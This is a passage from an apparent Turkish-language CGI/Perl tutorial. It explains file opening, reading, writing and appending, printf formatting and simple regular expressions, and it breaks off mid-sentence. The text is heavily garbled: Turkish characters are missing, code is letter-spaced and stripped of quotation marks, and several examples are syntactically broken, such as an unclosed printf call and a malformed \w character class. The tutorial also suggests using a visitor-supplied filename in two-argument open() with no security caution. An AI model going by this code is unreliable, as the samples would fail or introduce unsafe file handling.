grebilirsiniz. (Dikkatli olun, ok byk dosyalar Not Defterinin kmesine yol aar;
atnz dosyay sakn kaydetmeye kalkmayn!)
Perle, dz yaz dosyalarn okutabilirsiniz.
Dosyay Aalm!
Perl asndan bir dosyann okunmas, yazlmas veya dosyaya ek yaplmas
iin nce almas gerekir. Bu, iletim sistemlerinin programlara, dillere ve
kullanclara getirdii bir zorunluktur. Perl, hangi iletim sisteminde alyorsa, o
sistemin dosya ama yntemini bilir ve uygular. Bize den sadece Perle dosyay
amasn bildirmektir.
Perln ister okumak, ister yazmak, ister eklemek amacyla olsun, bir dosyay
amasn open() fonksiyonuyla salarz. Bu fonksiyon iki argman alr:
1. Dosyann Perl tarafndan kullanlrken alaca ad: Handle. Kelime anlam
kulp, tutacak yer, tutamak, sap anlamna gelen bu ada, baka kaynaklarda belirte
dendiini grebilirsiniz. Dosya ad ne olursa olsun, Perl, bu dosyadan alaca bilgi
akmn vereceiniz bu kelime ile tanyacaktr. (Daha teknik ifade edersek, Unix
sisteminde alan bir dosya, dosya sisteminde zel bir nitelik kazanr. Ona bu
niteliini veren, iindeki verinin sisteme alnaca yolun oluturulmas; dosyann
sabit diskte bakas tarafndan silinmesi veya deitirilmesine kar nlem alnmas
gibi sistem-var hazrlklarn yaplmasdr.)
2. Dosyann ad: Sabit disk sisteminde dosyann arama yolu (path) ile birlikte
ad.
IRC Serverlara ve Chat ortamna aina olanlar iin Handle veya Perl
asndan dosyann ieriini belirleyen ad, Nicke benzetebiliriz. Hepimizin bir ad
soyad olduu halde Chat ortamnda herkesin bir Nicki bulunur. Admz ne olursa
olsun IRCye balandmz andan itibaren, bu Nick ile biliniriz.
Dosya, almakta olan Perl ile ayn dizinde ise, dosya adnn nne arama
yolu koymaya gerek yoktur. Ancak dosya baka dizinde ise Perln dosyay nerede
CGI / Perl 81
arayacan bilmesi gerekir. Diyelim ki, Perl programnn bulunduu dizinde,
ornek.txt adl bir dzyaz dosyamz var; bu dosyay Perle atrmak istiyoruz:
open ( DOSYA, or nek. t xt ) ;
Burada open() fonksiyonuna, ornek.txt dosyasn amasn ve bundan byle
bu dosya ile ilgili ilemlere dosya adyla gnderme yapacamz sylyoruz. Bu
dosya, Perl ile ayn dizinde deil de, uzaklarda bir yerde olabilirdi:
open ( DOSYA, . . / . . / met i nl er / duzyazi l ar / or nek. t xt ) ;
//////////////KUTU/////////////////////
Path!
Sabit diskinizdeki arama yolu (Path) ile ilgili yazm kurallar, Web sitesine
gelince biraz deiir.
Kiisel Web Serverda Web sitenizin mutlak root (kk dizini) adresini
bilmeniz kolay. Bu, rnein c:\inetpub\wwwroot gibi bir dizin olmal. Fakat bir
evsahibi firmadan (Host) edindiiniz Web Sitesinin mutlak arama yolunu
bilemezsiniz. Benzeri zorluklar ve gvenlik nlemleri yznden Web Server, CGI
programlar iin dosya arama yolunu mutlak deil greli olarak kullanlmas
zorunluunu getirir. Bu, hereyden nce btn dosyalarn Web sitesinin bulunduu
sabit diskin kk dizinine olmasn gre belirtilmesini gerektirir. rnek olarak
herhangi bir www.rnek_site.com.trnin iskeletinde, szgelimi almakta olan
oku_yaz.pl isimli CGI program ile bu programn amak istedii ornek.txt
dosyasnn birbirine gre yerinin yle olduunu dnelim:
<cgi-perl.013.tif>
Buna gre, open() fonksiyonunda dosyann arama yolunu iki trl
belirtebiliriz:
1. Mutlak: /Belgelerim/duzyazlar/ornek.txt
2. Greli: ../duzyazlar/ornek.txt
ornek.txt, Web alan dnda olduu iin, hi kimse bu dosyann URL (Internet
adresini) Browsernn adres hanesine yazarak, bulamaz; nk bu dosyann Webb
alannda olmad iin URLi olamaz.
///////////////////////////KUTU BTT///////////////
CGI / Perl 82
Dosya adlarnn programlama yoluyla (programmatically) verilebileceini doe
belertelim. Diyelim ki, dosya adn tutan bir deikeniniz var. Bu deikenin bu
deeri nasl edindii imdilik nemli deil. Szgelimi bu ad Web sitemizi ziyaret
eden kiinin bir tercihi belirleyebilir; veya biz deikene bu deeri atayabiliriz:
$dosya_adi = or nek. t xt ;
open ( GI RDI , $dosya_adi ) ;
imdi artk Perl bu dosya ile istediiniz her trl okuma, yazma ve ekleme
ilemini yapabilir. Bununla birlikte Perl ile dosyalarda yapabileceimiz ilemleri
bilirsek, dosya ama ileminin boyutunu daha iyi anlayabiliriz:
////////////////////KUTU//////////////////////
Tutamak ad neden byk harf!
Perl geleneinde file handle, atnz dosyalarn Perl tarafndan tannd
adlar, deiken ad kurallarna uymak zorundadr: rakamla balayamaz; harfle veya
alt-izgi ile balar; iinde rakam bulunabilir; iaret bulunamaz. Fakat hemen hemen
btn profesyonel Perl programlarnda HANDLEn daima byk harfle yazldn
greceksiniz; bu kesinlikle zorunlu deildir.
Tutamak adlar, tamamen keyf olmakla birlikte anlaml olmal; programnz
kullanacak veya kendi programna katabilecek kiilerin program akn anlamalarna
imkan vermelidir.
////////////////////////////////////////////////////
Dosya Okuma: Okumak, bir dosyann ieriini deitirmeden iindeki verileri
almak ve kullanmak demektir. Bir dosyann okunmak iin almas iin, varolmas
gerekir. olmayan bir dosya okunmak iin alamaz.
Dosya Yazma: Bir dosyaya yeni bilgi girmek iin amak, yazmak amacyla
amaktr. Olmayan bir dosyay, yazmak amacyla amak, dosyay oluturmak
demektir. Varolan bir dosyay aar ve yazarsanz, dosya silinir ve yeniden yazlr.
Dosyaya Ekleme: Ek yapmak amacyla alan dosyann sonuna yeni veri
kaydedilir. Ekleme, mevcut dosyay silmez; varolan dosyann ieriini deitirir.
Olmayan bir dosyay ek yapmak iin amak, gerekte yazmak iin amakla ayndr.
Bir dosya, bu ilemden sadece birisi iin alabilir; yani bir dosyay, hem
okumak, hem de yazmak iin aamazsnz. Perle bir dosyay ne amala atnz
CGI / Perl 83
sylemeniz gerekir. Bunu, dosya adnn nne koyduumuz byktr-kktr
iareti ile yaparz: < oku; > yaz; >> ekle! rnekler:
open ( OKU, mevcut . t xt ) ; #Okumak i i n
open ( OKU, <mevcut . t xt ) ; #Okumak i i n
open ( YAZ, >yeni . t xt ) ; #Yazmak i i n
open ( EKLE, >>mevcut . t xt ) ; #Ek yapmak i i n
Burada okumak amacyla dosya aarken, dosya adnn nne iaret
koymayabileceimizi gryorsunuz. Bu imkana ramen, iyi bir Perl programlama
gelenei okumak iin bile asanz, her dosyann adnn nne amacnz belirten
iareti koymaktr. Dosya tutamaklar da dosyann okunmak amacyla m, yoksa
yazlmak amacyla m aldn belirtebilir.
Daha sonra open() fonksiyonuyla birlikte kullanmak zere bir deikene
deer olarak dosya ad verirken de dosyann ama ama iaretini koyabiliriz:
$dosya_adi = >or nek. t xt ; #Yazmaya hazrlk
open ( CI KTI , $dosya_adi ) ; #Bu dosyaya yazlabilir
/////////////////KUTU///////////////////
Dosya Aamayan Perl lsn M?
open() fonksiyonu, baaryla sonulandysa, programa True (doru)
sonucunu verir; baarszlkla sonulanrsa False (Yanl) sonucunu. open()
fonksiyonunun baarszlkla sonulanmas, okumak zere amak istediiniz bir
dosyann verdiiniz yolda bulunamamas, yazmak veya eklemek zere atnz bir
dosyann salt-okunur olmas gibi sebeplerden kaynaklanabilir.
open() fonksiyoru hata verirse, bu kullanarak program durdurabiliriz. Bunun
klasik rnei udur:
$dosya_adi = >or nek. t xt ; #Yazmaya hazrlk
open ( DOSYA, $dosya_adi ) or di e Yazmak i i n $dosya_adi
alamyor. Program zorunlu olarak sona erdi.\ n;
Buradaki or die fonksiyonu ya dosyay a, veya l! anlamna geliyor; ve
Perle dosyay aamazsa, bir mesaj vererek durmasn bildiriyor.
CGI / Perl 84
Bu yntem bir rapor yazma dili olarak Unix sisteminde kullanld zaman
Perln hatal bir durum olutuu halde almaya devam etmesini nlemesi
bakmndan iyi bir yntemdir. Fakat Perl, CGI program olarak altrdmz
zaman Serverdaki Perln durmas, ziyaretilerimiz asndan hi bir anlam tamaz.
Tersine Perln durmas deil; hatay anlayarak ziyaretiye uygun bir karlk vermek
ve yeni seenekler sunmak zere almaya devam etmesi gerekir.
Dolaysyla, ilkelerini sonra grmek artyla, bu deyimi yle yazabiliriz:
$dosya_adi = >or nek. t xt ; #Yazmaya hazrlk
open ( DOSYA, $dosya_adi ) | | &Hat a;
Burada, open() fonksiyonunun hata vermesi halini dzenleyen (or/veya)
ilemcisi olan || iareti ile bir Subrutin (programcnnn yazd fonksiyon)
kullandmza dikkat edin. Subrutin meselesine geleceiz; fakat imdilik Hata adl
ve Perl programnn sonuna koyacamz Subrutinnin kodunu vermekle yetinelim:
sub Hat a {
print Bir hata oldu; dosya almyor. Ya bu dosya yok, ya da biz
Perl yazarken bir hata yaptk!\ n;
print ok zr dileriz.. uray tklayn da bari baka bir
t ar af a gi di n! \ n;
pr i nt <A HREF=\ baska_bi r _t ar af . ht m\ >Tklayn!</A>\ n;
exi t
}
///////////////////KUTU////////////////////////
Her sistemin kendi diline gre
Perl ile yazacanz CGI programlar, altklar iletim sistemi ortamna gre
dosya araya yolu vermek zorundadr. Unix veya NT tabanl Web Serverlar iin,
arama yolu URL tarznda olmaldr. Ancak Perl programnza kendi sabit diskinizde
dosya atrma denemesi yaptryorsanz, bu iletim sistemi gre deiir:
95/98/NT/2000:
open ( DOSYA, >C: \ Bel gel er i m\ Ver i l er \ Met i nl er \ or nek. t xt ) ;
MacOS:
CGI / Perl 85
open ( DOSYA, >Ana: Bel gel er : Ver i l er : Met i nl er : or nek met i n) ;
Linux:
open ( DOSYA, >/ usr / home/ bel gel er / Ver i l er / met i nl er / or nek. t xt ) ;
Bu sistemlerde mutlak arama yolu yerine greli (almakta olan Perl
dosyasna gre) yol da belirtebilirsiniz:
95/98/NT/2000:
open ( DOSYA, >. . \ or nek. t xt ) ;
MacOS:
open ( DOSYA, >: : or nek met i n) ;
Linux:
open ( DOSYA, >. . / or nek. t xt ) ;
///////////////////KUTU BTT//////////////
/////////////////KUTU////////////////////
Atnz Kapatn!
Atnz dosyay kapatmanz gerekir. Bunun iin programda yaplacak btn
dosya ilemlerinin bittii yere u fonksiyonu yazmanz yeter:
close(TUTAMAK);
Burada TUTAMAK kelimesinin yerine dosyay aarken verdiiniz tutamak
adn yazacaksnz. Dosyay kapatmazsanz ne olur? Hi bir ey olmaz; Perl, program
bitince dosyay kapatr. Fakat bir dosyay ne kadar abuk kapatrsanz, o kadar iyi:
nk Perl dosya iin close() fonksiyonunu icra etmedike, veya kendisi dosyay
zorunlu olarak kapatmadka, bellekteki bilgileri dosyaya yazmaz. Bu srada Server
kebilir; dosya son bilgilerle gncelletirilmemi olur. Bu srada baka bir program
dosyay amak isteyebilir; dosya eksik olarak sunulur. yi programclk teknii, ii
biten dosyann hemen kapatlmasn gerektirir.
////////////////////KUTU BTT////////////////////////////
CGI / Perl 86
Dosyay Okuyalm
ok gzel! Perl ldrmeden dosyay amay baardk! imdi sra Perle
dosyadaki yazy satr satr okutmakta. Fakat bu ok kolay. open() fonksiyonunda
belirttiiniz dosyann tutaman (belirteini, Handlen, Nickini!) byktr-kktr
iaretleri arasnda ve herhangi komutun veya fonksiyonun paras veya argman
olarak belirttiiniz anda, Perl, iki eli kanda olsa, gider ve dosyadan bir satr okur;
gelir!
Bu cmle biraz kark oldu. en iyi rnekle anlatalm. Yukarda ornek.txt
dosyasn, Perle DOSYA tutamayla amasn bildirdik. imdi Perle bu dosyadan
bir satr okutalm. Bunun iin nce kendinize bir ornek.txt dosyas yapmanz ve bunu
Perl dosyasnn alt dizine koymanz; farkl dizine koyacaksanz open()
fonksiyonunu yazarken, yukarda rendiimiz ekilde, doru arama yolu
belirtmeniz gerekir. Benim ornek.txt dosyamn birinci satrnda unlar yazl:
Bu bir rnek dz yaz dosyasdr. Bu dosyann iinde bir ok bilgiler yer
alyor.
Sonra an Not Defterini (veya herhangi bir dzyaz programn) vey u kodu
yazarak dosya01.pl adyla kaydedin:
print "HTTP/1.0 200 OK\n";
print "Content-Type: text/html\n\n";

print "<HTML>\n";
print "<HEAD>\n";
print "<TITLE>Tekrarlama</TITLE>\n";
print "<meta http-equiv=\"content-type\" content=\"text/html;
charset=ISO-8859-9\">\n";
print "<meta http-equiv=\"Content-Type\" content=\"text/html;
charset=windows-1254\">\n";
print "</HEAD>\n";
print "<BODY>\n";
print "<H4>Dosya A</H4>\n";
CGI / Perl 87
print "<p>\n";
open (DOSYA, "<ornek.txt") || &Hata;
$satir1 = <DOSYA>;
print $satir1;
sub Hata {
print "Bir hata oldu; dosya almyor. Ya bu dosya yok, ya da biz
Perl yazarken bir hata yaptk!\n";
print "ok zr dileriz.. uray tklayn da bari baka bir tarafa
gidin!\n";
print "<A HREF=\"baska_bir_taraf.htm\">Tklayn!</A>\n";
exit
}
print "</BODY>\n";
print "</HEAD>\n";
print "</HTML>\n";

Bu kodda, okumak amacyla ve DOSYA tutama ile ornek.txt dosyasn
ayoruz; ve ve ilk satrn okutup; okunan metni $satir1 deikeninin deeri
yapyoruz. Bunu hangi komut yapyor? Byktr-kktr iareti iine alnm olan
DOSYA tutama yapyor: <DOSYA>. Burada byktr-kktr iaretlerine Dosya
Girdi Operatr (File Input Operator) denir. Bunu izleyen satrda print() fonksiyonu,
bu deikeni ekrana gnderiyor. Bu altrmay yapt iseniz, ve dosyann adn veya
yolunu yanl yazd iseniz, u anda ekranda hata mesajn gryorsunuz! Herey
yolunda gitti ise rnek yaz dosyanzn birinci satrn gryor olmalsnz.
<cgi-perl014.tif>
Belki ekranda belli olmuyor, ama grntlenen sadece birinci satrdaki
harfler, rakamlar ve iaretler deil, fakat ayn zamanda satrn sonundaki yeni satr
(newline) karakteri de ekrannzda! Yani gerekte ekranda grntlenen metin u
ekilde:
Bu bir rnek dz yaz dosyasdr. Bu dosyann iinde bir ok bilgiler
yer alyor.\ n
CGI / Perl 88
Perln bir dosyadan bir satr yaz okuyabilmesi iin yeni satr karakterini
bulmas gerekir. Bu Perln satr sayd veriyi tanmlamasn salar. Hatrlarsanz,
bu karakteri chomp() fonksiyonu ile atabiliyoruz!
Yine hatrlarsanz, $_ eklinde yazlan zel bir deikenden sz etmi, bu
deikenin Perle gelen her verinin ilk urak yeri olduunu sylemitik. Birazdan, bu
deikeni kullanacaz. imdilik, $satir1in deerinin $_in deerine eit olduunu
belirtmekle yetinelim.
Bu arada, Perle bir koul gerekleinceye kadar, biteviye i yaptrtma, yani
dng kurma fonksiyonlarmzdan while() da hatrlyor musunuz? Bu fonksiyon,
yle kullanlyordu:
while (koul) {
....koul;
...doru;
. . . i ken;
...yaplacak;
...iler;
}
koul doru deilse yaplacak iler;
imdi bunu dosya okutmakta kullanalm; ve yukardaki kodu biraz
deitirelim. dosya01.plde :
$satir1 = <DOSYA>;
print $satir1;

satrlarnn yerine u bloku yazn:
while (<DOSYA>) {
print $_;
}
Perl programn dosya02.pl adyla kaydedin; ve altrn. imdi ekranda
rnek yaz dosyasnn ieriini tmyle gryor olmalsnz. Bunu salayan bu
satrlk blm irdeleyelim: while() fonksiyonu verdiiniz koul doru olmaya devam
CGI / Perl 89
ettii srece, ssyl parantezle belirlenen kendi bloku iindeki komut ve
fonksiyonlar icra eder. Dosya Girdi Operatr (yani <> iaretleri) arasna aldnz
dosya tutamann doru olmaya devam etmesi demek, Perln dosyada okunacak
yaz kalmadna karar vermesi demektir. Dosyada okunacak yaz kald srece,
Dosya Girdi Operatr dosyay satr satr okuyacak ve her satr $_ deikeninin
iine yazacaktr. Perl programmz ikinci admda bu deikeni ekranda
grntleyecek ve yeniden while() dngsnn bana dnecektir. Ve bu ilem,
dosyada okunacak yaz kalmayncaya (veya teknik deyimiyle dosya sonu iaretine
[EOF] rastgelinceye kadar) bu ilem devam edecektir.
imdi, buradaki rnekte Perln okuduu her satr ya Perln ya da bizim
Tekil/Scalar deikene koyduumuza dikkat ediyor musunuz? Yani her yeni satr
okunduunda, bir nceki satr siliniyor! Oysa biz dosya ilemlerini ou zaman
dosyann tm ieriini alp kullanmak amacyla okutuyor olabiliriz. Acaba okunan her
satr bir dizi-deikenin iine koyamaz myz?
Neden olmasn? dosya02.pldeki while() blokuna ait satr silin ve yerine u
satr yazn:
@satirlar = <DOSYA>;
print @satirlar;

Bu kez dosyay dosya03.pl adyla kaydedin ve Browserda an. Yine dosyann
tm ieriini gryor olmalsnz.
Bu kez, okuttuunuz dosya kaybolmad; hepsi @satirlar deikeninin iinde
duruyor. imdi size bir pop quiz!
1. @satirlarn ka eleman var?
2. Bu elemanlar tek tek nasl grntleyebilirsiniz?
(Bu sorularn cevab, bu kitapn materyalini oluturan zip dosyasnda,
popquiz.pl dosyasnda bulunabilir.)
Dosyaya Yazdralm
Perlmz baya geliiyor; nce dosya amay rendi; sonra okumay.
imdi sra yazmada! Bylece okur-yazar bir Perlmz olacak.
CGI / Perl 90
Aslna bakarsanz, Perlye batan beri print() fonksiyonu ile yazdryoruz! Bu
ana kadar bu fonksiyonun ekranda (veya doru deimiyle, Browser penceresinde)
yazmasn saladk; imdi bu ilemi diskteki bir dosyaya yapmasn salayacaz. Bu
ilemi bir dosya atrarak, ve print() fonksiyonunu bu dosyann tutamana
(Handlena) ynlendirerek yapabiliriz. rnek:
open ( CI KTI , >yazi l an_dosya. t xt ) ;
pr i nt CIKTI Bu bir rnek satr\ n;
Bu program, ekranda hi bir ey grntlemez; ancak kendi alt
(bulunduu) dizinde yazilan_dosya.txt adnda bir dosya oluturarak, iine Bu bir
rnek satr yazar. Bu program altrdktan sonra oluturulan dosyay aarsanz,
iinde bu satrn sonuna yeni satr kodunun da girilmi olduunu grrsnz.
Program altrdnz anda, Perl, iletim sistemine, byle bir dosya bulunup
bulunmadn ve varsa, ap iindekileri deitirme yetkisi bulunup bulunmadn
sorar.
letim sistemi, byle bir dosya varsa salt okunur olup olmadna ve Webde
paylam izni bulunup bulunmadna bakar. Dosya salt okunur deilse ve
paylalabilir nitelikte ise iletim sistemi Perle dosyay amas ve ieriini
deitirmesi iin izin verir. Deilse, Perl size hata mesaj ile ackl durumu bildirir.
(Bir Web Serverda Web sitenizdeki dosyalarn okuma-yazda ve altrma izinlerini
nasl dzenleyebileceinizi son blmde greceiz.) Yazdrmak istediiniz dosya
yoksa ve sizin kullanc olarak byle bir dosya oluturma hakknz varsa, Perl nce
dosyay oluturur; sonra da iine istediiniz yazy yazar.
Okumak iin dosya ama altrmasnda olduu gibi, yazdrma amacyla
aacanz dosyalarla ilgili olarak da programnza hata yakalama subrutini
(fonksiyonu) koymalsnz.
Peki, hazr dosya yazdrmay renmiken, biraz uzunca bir eyler
yazdralm. rnein:
open ( CI KTI , >yazi l an_dosya. t xt ) ;
f or ( $i = 998; $i < 1102; $i += 1) {
pr i nt CI KTI $i \ n;
}
CGI / Perl 91
Bu programn oluturduu dosyay atnzda muhtemelen yle bir dizi
greceksiniz:
998
999
1000
1001
1002
Oysa biz genellikle bu tr listelenen bilgilerin saa hizalanmasn isteriz.
rnein:
95
998
999
1000
1001
1002
////////////////////SAYFA TASARIMI N NOT://///////////////
Yukardaki birinci listedeki saylar sola blok; ikinci listedeki saylar saa blok olacak.
/////////////////NOT BTT/////////////////
Perle, ekrana veya dosyaya bu tr biimlendirilmi (formatted) veri
yazdrma ilemini printf() fonksiyonu ile yapabiliriz. Bu fonksiyon, Perln
biimlendirme argmanlarn kullanr.
/////////////////KUTU//////////////////////////////////
Perlde String Biimlendirme
printf() fonksiyonu ile ekrana veya dosyaya String yazdrrken, uygulanan
yazm kural yledir:
printf(BM, LSTE);
rnek:
CGI / Perl 92
pr i nt f ( %. 2F, $Degi sken) ;
Biim argmannn elemanlar yle sralanr:
1. Biim argmannn baladn belirten yzde (%) iareti
2. aret: Biim argman be ayr iaret alabilir:
+ Yazlan Stringin nnde art (+) veya eksi (+) iareti olmasn
salar
- Stringin sola hizalanmasn salar
0 Saynn soluna boluk deil sfr konulmasn salar
# Heksadesimal saylarda sola 0x veya 0X; Octal saylarda
saydan nce 0 konmasn salar.
boluk Pozitif saylarn nne bir aralk konarak, negatif saylarla
hizalanmasn salar.
3. kt alannn asgar boyutu.
4. ktnn ka basamakl olaca: bir nokta bir say ile yazlr.
4. kt alannn tr. 15 kt alan tr tanmlanabilir.
s String
d Integer, tam say
f Real, gerek say
g Campact Real, sktrlm gerek say
u Unsigned integer, iaretlenmemi tam say
x Hexadecimal say (16-tabanl, kk harfle)
X Hexadecimal say (16-tabanl, byk harfle)
o Octal (8-tabanl)
e Scientific notation (10un kuvveti olarak yazlm say, kk
harf)
E Scientifc notation (10un kuvveti olarak yazlm say, byk
harf)
c Single character (8-bitlik karakter, deer olarak)
CGI / Perl 93
ld Long integer (32-bitlik tam say)
lu Long unsigned integer (32 bit(lik iaretlenmemi tam say)
lx Long hexadecimal (32-bitlik 16-tabanl say)
lo Long octal (32-bitlik 8-tabanl say)
Perl ile String biimlendirmek kolay deildir. Perln eitli iletim sistemleri iin
gelitirilmesi iini srdren kurum ve kurulularn sitelerinde rnek Stringler ve saylar
zerinde biimlendirmenin hasl yapldn gsteren Perl programlar vardr. Bu dosyalar
rnek olarak kullanlabilir. Bu kitapn rnek kodlar arasnda bulacanz bicim.pl
dosyasn altrarak, biimlendirme argmanlarnn nasl kullanldn inceleyebilirsiniz. Bu
programda PCWorld Stringine, 5.242984 ve 2553 saylarna deiik biimlendirme
argmanlar ile verdiimiz farkl ekilleri burada gryorsunuz:
<cgi-perl015.tif>
rnein, PCWorld Stringinin PCW olarak biimlendirilmesi iin u program
verebilirsiniz:
$Met i n1 = PCWor l d;
pr i nt f ( %. 3s\ n, $Met i n1) ;
////////////////////////////KUTU BTT//////////////////////
Yukardaki say dizinin saa hizalanm olarak yazlmasn salamak iin printf()
fonksiyonunu yle yazabiliriz:
open ( CI KTI , >yazi l an_dosya. t xt ) ;
f or ( $i = 998; $i < 1102; $i += 1) {
pr i nt f ( CI KTI %4d, $i \ n;
}
Bu komutla rakamlarmza asgar drt basamakl yer ayrtyoruz ve tam say olarak
yazadryoruz. Bu programla Perl, btn rakamlarnz saa hizalayacaktr.
//////////////////KUTU///////////////////////////////
Yazdrm olsa idik!
Perln sprintf() fonksiyonu aynen printf() gibi alr; fakat dosyaya veya ekrana
yazdraca veriyi istediiniz bir deikene deer yapmak zere bize getirir.
CGI / Perl 94
$degi sken = spr i nt f ( %4d, $i \ n) ;
deyimi ile tpk dosyaya yazlacak olan satr $degiskenin deeri yapabiliriz.
//////////////////////////KUTU BTT//////////////////////////
Dosyaya Ek Yapalm
Perl asndan bir dosyaya yazmakla, bir dosyann sonuna metin eklemek arasnda
yapacamz ilemler asndan hi bir fark yoktur; sadece dosyann alnda fark vardr.
Fakat bu ok nemli fark: Yazmak iin atnz dosya varsa, varolan ierii tmyle
deitirilir; eklemek iin atnz dosya yoksa oluturulur; varsa yazdrmak istediiniz
metin en sona eklenir. Burada tekrar edelim:
Yazmak iin dosya ama fonksiyonu:
open ( YAZ, >yazi l acak_dosya. t xt ) ;
Eklemek iin dosya ama fonksiyonu:
open ( EKLE, >>ekl enecek_dosya. t xt ) ;
Bir kere daha vurgularsak, yazmak iin dosya adnn nnde tek byktr (>)
iareti, eklemek iin iki byktr (>>) iareti kullanyoruz. Bu minicik iaretin ilevi
arasndaki fark; aylardr biriktirdiiniz ziyareti defteri girdilerinin tmnn silinip, yerine
son ziyaretinin girdilerinin yazlmas olabilir!
Gerek Form.. Gerek Perl
Eh, artk Perl ile bir Formdaki bilgileri alp, bir dosyaya yazdracak dzeye geldik.
imdi Web sitemize bir konuk defteri koyalm; bunun derleyecei bilgileri ziyaretiye
onaylattrdktan sonra bir dosyaya eklettirelim. Son blmde, gerek CGI ortamnn
kurallarn biraz daha yakndan tandktan sonra Perl programmza, bize, bir ziyaretinin
daha konuk defterini doldurduunu belirten bir elektronik mektup gndermesini ngren
kk bir blm daha ekleyeceiz,
Kitapn ba tarafnda Sizi tanyabilir miyiz? balkl bir form yapmtk ve bunu
form.htm adyla kaydetmitik. imdi o dosyay Formun ACTION hanesine yazdmz Perl
programnn adn deitirmek amacyla an. Hatrlayacaksnz, o Form iin yazdmz Perl
program sadece Formdaki bilgileri Standart Girdi (STDIN) yoluyla okuyor ve bunlar
Browser penceresinde grntlyordu. Formun ACTION hanesini yle deitirin ve
dosyas form2.htm adyla kaydedin.
CGI / Perl 95
Aada ksa bir ekilde Perlde arama-bulma-deitirme ilemlerine deineceiz. Bu
blmde yer alan altrmalardan sonra forn_analiz.pli an ve form_islem.pl adyla
kaydedin; birazdan bu programn ieriini deitereceiz. nce, gzden geirmeyi elimizde
ilenecek bir metin oluncaya kadar geri braktmz bir iki metin arama-deitirme
fonksiyonunu ele alalm.
Bul-Deitir
Bakasnn yazd metinlerde noktalama iaretlerinden sonra boluk braklmam
olmasna kzar msnz? Ben de! Perl ile metin dzenleme fonksiyonlarndan geriye
braktmz ikisi, vereceimiz bir String modelini (pattern) metinde arayan ve bulduklarn
deitiren fonksiyonlarla, Perle okuttuumuz metinlerde sadece yazm kurallarn
uygulatmakla kalmayz, fakat Form bilgisi iinde sitemizin gvenliini sarsc metin olup
olmadn tarayabiliriz; gereksiz karakterleri, rnein yeni satr balatan kodlar atabiliriz.
Perln iinde arama ilemi de bulunan split() fonksiyonunu daha nce grmtk.
Bu fonksiyona, arayaca nesneyi iki bl iareti (//) arasnda veriyorduk; hangi
deikende aramay yaplmasn istediimizi bildiriyorduk; elde ettii sonular yeni bir
deikene yazmasn istiyorduk. rnein:
@Yeni _degi sken = spl i t ( / \ &/ , $Ar anan_degi sken) ;
Bu deyimle, Perl, $Aranan_degisken adl deikenin iinde, & iaretlerini bulur ve
deikeni & iaretlerinden paralara bler; elde ettii her bir paray @Yeni_deiken adl
deikenin elemanlar olarak yazar.
Perln arama-bulma ii yapan bir dier ilemcisi benzerini-bul (match) m//
operatrdr. Dikkat ederseniz fonksiyon deil, operatr (ilem) diyoruz. nk, bu ilem
tek bana deil, Perl bir dier ilemi, badatrma/balama ilemi (binding operator)
dediimiz =~ iareti ile birlikte kullanlr ve bize doru/yanl sonucunu verir. Balama
iareti, solunda deerin iinde sandaki modelin bulunup bulunmadn bildir. Burada
sadaki model m// ile belirtilir. rnek yapalm, bu karmak ifade anlalr hale gelecektir:
i f ( dost l ar #ner edesi ni z =~ m/ #/ )
{pr i nt Ar anan bul undu\ n } else {print Aranan bulunamad\ n }
Ekrana Aranan bulundu yazdracaktr. (dostlar#reredesiniz Stringi yerine
isterseniz bir deiken ad da koyabilirsiniz; arama deikenin ierdii deerde yaplr.)
Buradaki if doru/yanl sonucu veren bir operatr doru sonu verdii zaman birinci
ilemi, yanl sonu verdii zaman ikinci ilemi yapacaktr. Arama sonucu aranann benzeri
CGI / Perl 96
bulunamazsa, sonucun yanl deil doru olmas iin balama operatrn !~ olarak
yazabiliriz. rnek:
i f ( dost l ar #ner edesi ni z ! ~ m/ #/ )
{print Aranan bulunamad\ n } el se {pr i nt Ar anan bul undu\ n }
Metinlerinizde, Perl iin zen anlam olan u karakterleri aratmak istiyorsanz, iki
bl iaretinin arasna bu karakteri yazarken nne ters-bl iareti koymanz gerekir:
^ $ + * ? . | ( ) { } [ ] \ /
Bir metinde iki karakterden biri veya dierini aratacanz zaman veya anlamna
gelen dik izgi (|) iaretini kullanmanz gerekir. rnein, Perl aranan metinde h veya H
harfini arasn istiyorsak, bunu yle yazabiliriz:
i f ( $ar anan_met i n =~ m/ ( h| ) / ) . .
m// operatr ile joker karakterler de kullanabilirsiniz:
i f ( $ar anan_met i n =~ m/ T. K/ ) . .
Perl, TEK, TAK, TK kelimelerini bulacak fakat mesela TANK kelimesini
bulmayacaktr; nk bir adet nokta iareti ile verdiiniz iki karakterin arasnda sadece bir
adet karakter bulunmasna izin verdiniz. Perlde aranan modeli belirtmek iin bir ok baka
yntem vardr. rnein verdiiniz modelin bulunmasn deil, bulunmamasn istiyorsanz,
nne ^ iareti koyabilirsiniz. Bir baka rnek, btn bir snf belirtmek amacyla aranan
modeli keli parantez iine almak veya dizileri, 0-9, A-Z, a-z gibi kesme iaretiyle
belirtmek olabilir. Fakat bunlarn ounun ksayolu da vardr:
Ksayol Ak ekli Anlam
\d [0-9] Herhangi bir rakam
\w [a-zA-Z_0--] Herhangi bir alfanmerik karakter
\s [\t\n\r\f] Herhangi bir yazlmaz karakter
\D [^0-9] Rakam olmayan bir karakter
\W [^a-zA-Z_0--] Alfanmerik olmayan bir karakter
\S [^\t\n\r\f] Yazlmaz olmayan bir karakter
Bu ksayollarn kullanmna bir rnek verirsek:
i f ( $ar anan_met i n =~ m/ \ d/ ) . .
CGI / Perl 97
deyimi ile metinde herhangi bir rakam bulunup bulunmadn aratabilirsiniz.
Ksayollar ve normal ifadeler birlikte kullanlarak, Perln arama yetenei geniletilebilir.
Bazen arattmz karakter(ler)in metindeki yeri bizim iin nem tayabilir. ^ iareti
vereceimiz karakterlerin aranan metnin banda, $ iareti de sonunda olmasna dikkat
edilmesini salar. rnek, aradmz metni Mus harfleriyle balamasn istiyorsak:
i f ( $ar anan_met i n =~ m/ ^Mus) . .
Aranan metnin afa ile bitmesini istiyorsak:
i f ( $ar anan_met i n =~ m/ af a$) . .
Bu noktada eer temizlemediyseniz, bir dosyadan okuttuunuz metnin sonunda yeni
satr karakteri bulunabileceini hesaba katmalsnz. Perln aranan karakterin ka adet
olmas gerektiini belirleyebilmemizi salayan ksayollar vardr:
Ksayol Anlam
+ En az 1 kere veya daha fazla
* En az 0 kere veya daha fazla
? 0 veya 1 kere
{x} Kesinlikle x kere
{x,} En az x kere
{x,y} En az x, en ok y kere
Bu ksayollar da dier normal ifadeler ve ksa yollarla birlikte kullanlabilir. rnein,
H ile balayan ve I ile biten ve arasnda bir veya daha fazla herhangi bir karakter bulunan
metinleri bul! demek istiyorsanz, u deyimi yazmalsnz:
